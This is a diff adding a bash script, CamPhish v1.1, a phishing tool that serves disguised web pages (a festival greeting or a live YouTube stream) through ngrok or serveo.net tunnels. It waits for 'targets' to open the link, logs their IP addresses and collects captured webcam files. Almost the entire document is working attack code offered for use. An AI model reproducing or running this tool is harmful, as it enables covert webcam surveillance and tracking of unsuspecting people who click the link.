|
| 1 | +#!/bin/bash |
| 2 | +# CamPhish v1.1 |
| 3 | +# Powered by TechChip |
| 4 | +# Credits goes to thelinuxchoice [github.com/thelinuxchoice/] |
| 5 | + |
| 6 | +trap 'printf "\n";stop' 2 |
| 7 | + |
| 8 | +banner() { |
| 9 | + |
| 10 | +printf "\e[1;92m _______ _______ _______ \e[0m\e[1;77m_______ _________ _______ \e[0m\n" |
| 11 | +printf "\e[1;92m ( ____ \( ___ )( )\e[0m\e[1;77m( ____ )|\ /|\__ __/( ____ \|\ /|\e[0m\n" |
| 12 | +printf "\e[1;92m | ( \/| ( ) || () () |\e[0m\e[1;77m| ( )|| ) ( | ) ( | ( \/| ) ( |\e[0m\n" |
| 13 | +printf "\e[1;92m | | | (___) || || || |\e[0m\e[1;77m| (____)|| (___) | | | | (_____ | (___) |\e[0m\n" |
| 14 | +printf "\e[1;92m | | | ___ || |(_)| |\e[0m\e[1;77m| _____)| ___ | | | (_____ )| ___ |\e[0m\n" |
| 15 | +printf "\e[1;92m | | | ( ) || | | |\e[0m\e[1;77m| ( | ( ) | | | ) || ( ) |\e[0m\n" |
| 16 | +printf "\e[1;92m | (____/\| ) ( || ) ( |\e[0m\e[1;77m| ) | ) ( |___) (___/\____) || ) ( |\e[0m\n" |
| 17 | +printf "\e[1;92m (_______/|/ \||/ \|\e[0m\e[1;77m|/ |/ \|\_______/\_______)|/ \|\e[0m\n\n" |
| 18 | + |
| 19 | +printf " \e[1;77m www.techchip.net | youtube.com/techchipnet \e[0m \n" |
| 20 | + |
| 21 | +printf "\n" |
| 22 | + |
| 23 | + |
| 24 | +} |
| 25 | + |
| 26 | +dependencies() { |
| 27 | + |
| 28 | + |
| 29 | +command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; } |
| 30 | + |
| 31 | + |
| 32 | + |
| 33 | +} |
| 34 | + |
| 35 | +stop() { |
| 36 | + |
| 37 | +checkngrok=$(ps aux | grep -o "ngrok" | head -n1) |
| 38 | +checkphp=$(ps aux | grep -o "php" | head -n1) |
| 39 | +checkssh=$(ps aux | grep -o "ssh" | head -n1) |
| 40 | +if [[ $checkngrok == *'ngrok'* ]]; then |
| 41 | +pkill -f -2 ngrok > /dev/null 2>&1 |
| 42 | +killall -2 ngrok > /dev/null 2>&1 |
| 43 | +fi |
| 44 | + |
| 45 | +if [[ $checkphp == *'php'* ]]; then |
| 46 | +killall -2 php > /dev/null 2>&1 |
| 47 | +fi |
| 48 | +if [[ $checkssh == *'ssh'* ]]; then |
| 49 | +killall -2 ssh > /dev/null 2>&1 |
| 50 | +fi |
| 51 | +exit 1 |
| 52 | + |
| 53 | +} |
| 54 | + |
| 55 | +catch_ip() { |
| 56 | + |
| 57 | +ip=$(grep -a 'IP:' ip.txt | cut -d " " -f2 | tr -d '\r') |
| 58 | +IFS=$'\n' |
| 59 | +printf "\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] IP:\e[0m\e[1;77m %s\e[0m\n" $ip |
| 60 | + |
| 61 | +cat ip.txt >> saved.ip.txt |
| 62 | + |
| 63 | + |
| 64 | +} |
| 65 | + |
| 66 | +checkfound() { |
| 67 | + |
| 68 | +printf "\n" |
| 69 | +printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting targets,\e[0m\e[1;77m Press Ctrl + C to exit...\e[0m\n" |
| 70 | +while [ true ]; do |
| 71 | + |
| 72 | + |
| 73 | +if [[ -e "ip.txt" ]]; then |
| 74 | +printf "\n\e[1;92m[\e[0m+\e[1;92m] Target opened the link!\n" |
| 75 | +catch_ip |
| 76 | +rm -rf ip.txt |
| 77 | + |
| 78 | +fi |
| 79 | + |
| 80 | +sleep 0.5 |
| 81 | + |
| 82 | +if [[ -e "Log.log" ]]; then |
| 83 | +printf "\n\e[1;92m[\e[0m+\e[1;92m] Cam file received!\e[0m\n" |
| 84 | +rm -rf Log.log |
| 85 | +fi |
| 86 | +sleep 0.5 |
| 87 | + |
| 88 | +done |
| 89 | + |
| 90 | +} |
| 91 | + |
| 92 | + |
| 93 | +server() { |
| 94 | + |
| 95 | +command -v ssh > /dev/null 2>&1 || { echo >&2 "I require ssh but it's not installed. Install it. Aborting."; exit 1; } |
| 96 | + |
| 97 | +printf "\e[1;77m[\e[0m\e[1;93m+\e[0m\e[1;77m] Starting Serveo...\e[0m\n" |
| 98 | + |
| 99 | +if [[ $checkphp == *'php'* ]]; then |
| 100 | +killall -2 php > /dev/null 2>&1 |
| 101 | +fi |
| 102 | + |
| 103 | +if [[ $subdomain_resp == true ]]; then |
| 104 | + |
| 105 | +$(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R '$subdomain':80:localhost:3333 serveo.net 2> /dev/null > sendlink ' & |
| 106 | + |
| 107 | +sleep 8 |
| 108 | +else |
| 109 | +$(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:3333 serveo.net 2> /dev/null > sendlink ' & |
| 110 | + |
| 111 | +sleep 8 |
| 112 | +fi |
| 113 | +printf "\e[1;77m[\e[0m\e[1;33m+\e[0m\e[1;77m] Starting php server... (localhost:3333)\e[0m\n" |
| 114 | +fuser -k 3333/tcp > /dev/null 2>&1 |
| 115 | +php -S localhost:3333 > /dev/null 2>&1 & |
| 116 | +sleep 3 |
| 117 | +send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink) |
| 118 | +printf '\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] Direct link:\e[0m\e[1;77m %s\n' $send_link |
| 119 | + |
| 120 | +} |
| 121 | + |
| 122 | + |
| 123 | +payload_ngrok() { |
| 124 | + |
| 125 | +link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") |
| 126 | +sed 's+forwarding_link+'$link'+g' template.php > index.php |
| 127 | +if [[ $option_tem -eq 1 ]]; then |
| 128 | +sed 's+forwarding_link+'$link'+g' festivalwishes.html > index3.html |
| 129 | +sed 's+fes_name+'$fest_name'+g' index3.html > index2.html |
| 130 | +else |
| 131 | +sed 's+forwarding_link+'$link'+g' LiveYTTV.html > index3.html |
| 132 | +sed 's+live_yt_tv+'$yt_video_ID'+g' index3.html > index2.html |
| 133 | +fi |
| 134 | +rm -rf index3.html |
| 135 | + |
| 136 | +} |
| 137 | + |
| 138 | +select_template() { |
| 139 | +printf "\n-----Choose phising template----\n" |
| 140 | +printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Festival Wishing\e[0m\n" |
| 141 | +printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Live Youtube TV\e[0m\n" |
| 142 | +default_option_template="1" |
| 143 | +read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Choose a template: [Default is 1] \e[0m' option_tem |
| 144 | +option_tem="${option_tem:-${default_option_template}}" |
| 145 | +if [[ $option_tem -eq 1 ]]; then |
| 146 | +read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Enter festival name: \e[0m' fest_name |
| 147 | +else |
| 148 | +read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Enter YouTube video watch ID: \e[0m' yt_video_ID |
| 149 | +fi |
| 150 | +} |
| 151 | + |
| 152 | +ngrok_server() { |
| 153 | + |
| 154 | + |
| 155 | +if [[ -e ngrok ]]; then |
| 156 | +echo "" |
| 157 | +else |
| 158 | +command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; } |
| 159 | +command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; } |
| 160 | +printf "\e[1;92m[\e[0m+\e[1;92m] Downloading Ngrok...\n" |
| 161 | +arch=$(uname -a | grep -o 'arm' | head -n1) |
| 162 | +arch2=$(uname -a | grep -o 'Android' | head -n1) |
| 163 | +if [[ $arch == *'arm'* ]] || [[ $arch2 == *'Android'* ]] ; then |
| 164 | +wget --no-check-certificate https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1 |
| 165 | + |
| 166 | +if [[ -e ngrok-stable-linux-arm.zip ]]; then |
| 167 | +unzip ngrok-stable-linux-arm.zip > /dev/null 2>&1 |
| 168 | +chmod +x ngrok |
| 169 | +rm -rf ngrok-stable-linux-arm.zip |
| 170 | +else |
| 171 | +printf "\e[1;93m[!] Download error... Termux, run:\e[0m\e[1;77m pkg install wget\e[0m\n" |
| 172 | +exit 1 |
| 173 | +fi |
| 174 | + |
| 175 | +else |
| 176 | +wget --no-check-certificate https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip > /dev/null 2>&1 |
| 177 | +if [[ -e ngrok-stable-linux-386.zip ]]; then |
| 178 | +unzip ngrok-stable-linux-386.zip > /dev/null 2>&1 |
| 179 | +chmod +x ngrok |
| 180 | +rm -rf ngrok-stable-linux-386.zip |
| 181 | +else |
| 182 | +printf "\e[1;93m[!] Download error... \e[0m\n" |
| 183 | +exit 1 |
| 184 | +fi |
| 185 | +fi |
| 186 | +fi |
| 187 | + |
| 188 | +printf "\e[1;92m[\e[0m+\e[1;92m] Starting php server...\n" |
| 189 | +php -S 127.0.0.1:3333 > /dev/null 2>&1 & |
| 190 | +sleep 2 |
| 191 | +printf "\e[1;92m[\e[0m+\e[1;92m] Starting ngrok server...\n" |
| 192 | +./ngrok http 3333 > /dev/null 2>&1 & |
| 193 | +sleep 10 |
| 194 | + |
| 195 | +link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") |
| 196 | +printf "\e[1;92m[\e[0m*\e[1;92m] Direct link:\e[0m\e[1;77m %s\e[0m\n" $link |
| 197 | + |
| 198 | +payload_ngrok |
| 199 | +checkfound |
| 200 | +} |
| 201 | + |
| 202 | +start1() { |
| 203 | +if [[ -e sendlink ]]; then |
| 204 | +rm -rf sendlink |
| 205 | +fi |
| 206 | + |
| 207 | +printf "\n-----Choose tunnel server----\n" |
| 208 | +printf "\n\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Ngrok\e[0m\n" |
| 209 | +printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Serveo.net\e[0m\n" |
| 210 | +default_option_server="1" |
| 211 | +read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Choose a Port Forwarding option: [Default is 1] \e[0m' option_server |
| 212 | +option_server="${option_server:-${default_option_server}}" |
| 213 | +select_template |
| 214 | +if [[ $option_server -eq 2 ]]; then |
| 215 | + |
| 216 | +command -v php > /dev/null 2>&1 || { echo >&2 "I require ssh but it's not installed. Install it. Aborting."; exit 1; } |
| 217 | +start |
| 218 | + |
| 219 | +elif [[ $option_server -eq 1 ]]; then |
| 220 | +ngrok_server |
| 221 | +else |
| 222 | +printf "\e[1;93m [!] Invalid option!\e[0m\n" |
| 223 | +sleep 1 |
| 224 | +clear |
| 225 | +start1 |
| 226 | +fi |
| 227 | + |
| 228 | +} |
| 229 | + |
| 230 | + |
| 231 | +payload() { |
| 232 | + |
| 233 | +send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink) |
| 234 | +sed 's+forwarding_link+'$send_link'+g' template.php > index.php |
| 235 | +if [[ $option_tem -eq 1 ]]; then |
| 236 | +sed 's+forwarding_link+'$link'+g' festivalwishes.html > index3.html |
| 237 | +sed 's+fes_name+'$fest_name'+g' index3.html > index2.html |
| 238 | +else |
| 239 | +sed 's+forwarding_link+'$link'+g' LiveYTTV.html > index3.html |
| 240 | +sed 's+live_yt_tv+'$yt_video_ID'+g' index3.html > index2.html |
| 241 | +fi |
| 242 | +rm -rf index3.html |
| 243 | + |
| 244 | +} |
| 245 | + |
| 246 | +start() { |
| 247 | + |
| 248 | +default_choose_sub="Y" |
| 249 | +default_subdomain="saycheese$RANDOM" |
| 250 | + |
| 251 | +printf '\e[1;33m[\e[0m\e[1;77m+\e[0m\e[1;33m] Choose subdomain? (Default:\e[0m\e[1;77m [Y/n] \e[0m\e[1;33m): \e[0m' |
| 252 | +read choose_sub |
| 253 | +choose_sub="${choose_sub:-${default_choose_sub}}" |
| 254 | +if [[ $choose_sub == "Y" || $choose_sub == "y" || $choose_sub == "Yes" || $choose_sub == "yes" ]]; then |
| 255 | +subdomain_resp=true |
| 256 | +printf '\e[1;33m[\e[0m\e[1;77m+\e[0m\e[1;33m] Subdomain: (Default:\e[0m\e[1;77m %s \e[0m\e[1;33m): \e[0m' $default_subdomain |
| 257 | +read subdomain |
| 258 | +subdomain="${subdomain:-${default_subdomain}}" |
| 259 | +fi |
| 260 | + |
| 261 | +server |
| 262 | +payload |
| 263 | +checkfound |
| 264 | + |
| 265 | +} |
| 266 | + |
| 267 | +banner |
| 268 | +dependencies |
| 269 | +start1 |
| 270 | + |
0 commit comments